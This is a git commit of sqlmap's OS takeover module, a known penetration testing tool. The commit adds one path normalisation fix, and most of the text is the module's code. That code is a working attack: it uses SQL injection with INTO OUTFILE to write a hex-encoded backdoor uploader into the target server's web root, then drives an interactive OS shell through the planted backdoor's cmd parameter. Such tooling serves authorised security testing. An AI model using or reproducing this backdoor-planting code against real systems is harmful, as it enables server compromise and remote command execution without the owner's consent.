<commit_before>#!/usr/bin/env python

"""
$Id$

This file is part of the sqlmap project, http://sqlmap.sourceforge.net.

Copyright (c) 2007-2009 <NAME>. <<EMAIL>>
Copyright (c) 2006 <NAME> <<EMAIL>>

sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""



import os
import re

from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction
from lib.takeover.dep import DEP
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest


class Takeover(Abstraction, DEP, Metasploit, Registry):
    """
    This class defines generic OS takeover functionalities for plugins.
    """

    def __init__(self):
        self.cmdTblName       = "sqlmapoutput"
        self.tblField         = "data"
        self.cmdFromChurrasco = False

        Abstraction.__init__(self)
        DEP.__init__(self)


    def __webBackdoorRunCmd(self, backdoorUrl, cmd):
        output = None

        if not cmd:
            cmd = conf.osCmd

        cmdUrl  = "%s?cmd=%s" % (backdoorUrl, cmd)
        page, _ = Request.getPage(url=cmdUrl, direct=True)
        output  = re.search("<pre>(.+?)</pre>", page, re.I | re.S)

        if output:
            print output.group(1)
        else:
            print "No output"

        return output


    def __webBackdoorShell(self, backdoorUrl):
        infoMsg  = "calling OS shell. To quit type "
        infoMsg += "'x' or 'q' and press ENTER"
        logger.info(infoMsg)

        autoCompletion(osShell=True)

        while True:
            command = None

            try:
                command = raw_input("os-shell> ")
            except KeyboardInterrupt:
                print
                errMsg = "user aborted"
                logger.error(errMsg)
            except EOFError:
                print
                errMsg = "exit"
                logger.error(errMsg)
                break

            if not command:
                continue

            if command.lower() in ( "x", "q", "exit", "quit" ):
                break

            self.__webBackdoorRunCmd(backdoorUrl, command)


    def __webBackdoorInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        self.checkDbmsOs()

        backdoorUrl = None
        language    = None
        kb.docRoot  = getDocRoot()
        directories = getDirs()
        directories = list(directories)
        directories.sort()

        infoMsg = "trying to upload the uploader agent"
        logger.info(infoMsg)

        message  = "which web application language does the web server "
        message += "support?\n"
        message += "[1] ASP\n"
        message += "[2] PHP (default)\n"
        message += "[3] JSP"

        while True:
            choice = readInput(message, default="2")

            if not choice or choice == "2":
                language = "php"

                break

            elif choice == "1":
                language = "asp"

                break

            elif choice == "3":
                # TODO: add also JSP backdoor/uploader support
                errMsg  = "JSP web backdoor functionality is not yet "
                errMsg += "implemented"
                raise sqlmapUnsupportedDBMSException, errMsg

                #language = "jsp"

                #break

            elif not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > 3:
                logger.warn("invalid value, it must be 1 or 3")

        backdoorName = "backdoor.%s" % language
        backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
        uploaderName = "uploader.%s" % language
        uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))

        for directory in directories:
            # Upload the uploader agent
            outFile     = os.path.normpath("%s/%s" % (directory, uploaderName))
            uplQuery    = uploaderStr.replace("WRITABLE_DIR", directory)
            query       = " LIMIT 1 INTO OUTFILE '%s' " % outFile
            query      += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
            query       = agent.prefixQuery(" %s" % query)
            query       = agent.postfixQuery(query)
            payload     = agent.payload(newValue=query)
            page        = Request.queryPage(payload)

            requestDir  = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
            baseUrl     = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            uplPage, _  = Request.getPage(url=uploaderUrl, direct=True)

            if "sqlmap backdoor uploader" not in uplPage:
                warnMsg  = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory<commit_msg>Minor fix for Python <= 2.5.2 (os.path.normpath function)<commit_after>#!/usr/bin/env python

"""
$Id$

This file is part of the sqlmap project, http://sqlmap.sourceforge.net.

Copyright (c) 2007-2009 <NAME>. <<EMAIL>>
Copyright (c) 2006 <NAME> <<EMAIL>>

sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""



import os
import re

from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction
from lib.takeover.dep import DEP
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest


class Takeover(Abstraction, DEP, Metasploit, Registry):
    """
    This class defines generic OS takeover functionalities for plugins.
    """

    def __init__(self):
        self.cmdTblName       = "sqlmapoutput"
        self.tblField         = "data"
        self.cmdFromChurrasco = False

        Abstraction.__init__(self)
        DEP.__init__(self)


    def __webBackdoorRunCmd(self, backdoorUrl, cmd):
        output = None

        if not cmd:
            cmd = conf.osCmd

        cmdUrl  = "%s?cmd=%s" % (backdoorUrl, cmd)
        page, _ = Request.getPage(url=cmdUrl, direct=True)
        output  = re.search("<pre>(.+?)</pre>", page, re.I | re.S)

        if output:
            print output.group(1)
        else:
            print "No output"

        return output


    def __webBackdoorShell(self, backdoorUrl):
        infoMsg  = "calling OS shell. To quit type "
        infoMsg += "'x' or 'q' and press ENTER"
        logger.info(infoMsg)

        autoCompletion(osShell=True)

        while True:
            command = None

            try:
                command = raw_input("os-shell> ")
            except KeyboardInterrupt:
                print
                errMsg = "user aborted"
                logger.error(errMsg)
            except EOFError:
                print
                errMsg = "exit"
                logger.error(errMsg)
                break

            if not command:
                continue

            if command.lower() in ( "x", "q", "exit", "quit" ):
                break

            self.__webBackdoorRunCmd(backdoorUrl, command)


    def __webBackdoorInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        self.checkDbmsOs()

        backdoorUrl = None
        language    = None
        kb.docRoot  = getDocRoot()
        directories = getDirs()
        directories = list(directories)
        directories.sort()

        infoMsg = "trying to upload the uploader agent"
        logger.info(infoMsg)

        message  = "which web application language does the web server "
        message += "support?\n"
        message += "[1] ASP\n"
        message += "[2] PHP (default)\n"
        message += "[3] JSP"

        while True:
            choice = readInput(message, default="2")

            if not choice or choice == "2":
                language = "php"

                break

            elif choice == "1":
                language = "asp"

                break

            elif choice == "3":
                # TODO: add also JSP backdoor/uploader support
                errMsg  = "JSP web backdoor functionality is not yet "
                errMsg += "implemented"
                raise sqlmapUnsupportedDBMSException, errMsg

                #language = "jsp"

                #break

            elif not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > 3:
                logger.warn("invalid value, it must be 1 or 3")

        backdoorName = "backdoor.%s" % language
        backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
        uploaderName = "uploader.%s" % language
        uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))

        for directory in directories:
            # Upload the uploader agent
            outFile     = os.path.normpath("%s/%s" % (directory, uploaderName))
            uplQuery    = uploaderStr.replace("WRITABLE_DIR", directory)
            query       = " LIMIT 1 INTO OUTFILE '%s' " % outFile
            query      += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
            query       = agent.prefixQuery(" %s" % query)
            query       = agent.postfixQuery(query)
            payload     = agent.payload(newValue=query)
            page        = Request.queryPage(payload)

            requestDir  = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
            baseUrl     = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            uploaderUrl = uploaderUrl.replace("./", "/")
            uplPage, _  = Request.getPage(url=uploaderUrl, direct=True)

            if "sqlmap backdoor uploader" not in uplPage:
                warnMsg  = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory
{'fraction_non_alphanumeric': 0.09282631707515675, 'fraction_numerical': 0.006432700920120511, 'mean_word_length': 2.087481146304676, 'pattern_counts': {'":': 6, '<': 22, '<?xml version=': 0, '>': 23, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6583800', 'n_tokens_mistral': 3565, 'n_tokens_neox': 3350, 'n_words': 1077}